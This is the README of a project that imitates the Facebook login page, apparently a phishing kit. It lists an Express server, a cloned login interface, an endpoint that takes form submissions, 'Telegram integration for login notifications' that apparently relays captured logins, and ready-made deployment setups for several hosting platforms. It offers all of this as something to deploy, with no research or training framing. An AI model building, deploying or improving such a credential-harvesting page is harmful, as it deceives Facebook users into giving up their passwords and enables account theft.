This project serves a Facebook login interface using a simple Express server. It's a clean, optimized implementation extracted from the Niceplace application.
This is a streamlined, standalone implementation of a Facebook login interface. The project has been optimized to provide a simple, reliable solution with minimal dependencies.
simple_server.js- Express server that serves the Facebook login pageindex.html- The Facebook login interfaceclone_and_run.sh- Script to start the serverpackage.json- Dependencies and project configuration
There are two ways to run the application:
Run the provided shell script to start the server:
./clone_and_run.shIf you prefer to run the server directly:
node simple_server.jsOnce the server is running, you can access the Facebook login page at:
http://localhost:5000
- Clean, lightweight Express server (port 5000)
- Responsive Facebook login interface
- API endpoint for form submissions
- CORS support for cross-origin requests
- Telegram integration for login notifications
This application includes deployment configurations for multiple platforms:
- Docker deployment via Dockerfile and docker-compose.yml
- Heroku deployment via Procfile
- Vercel deployment via vercel.json
- Netlify deployment via netlify.toml
- Manual server deployment via deploy.sh
To prepare the application for deployment:
chmod +x prepare-deployment.sh
./prepare-deployment.shThis will create a deployment-ready package in the deployment-package directory.
For detailed deployment instructions for various platforms, see DEPLOYMENT.md.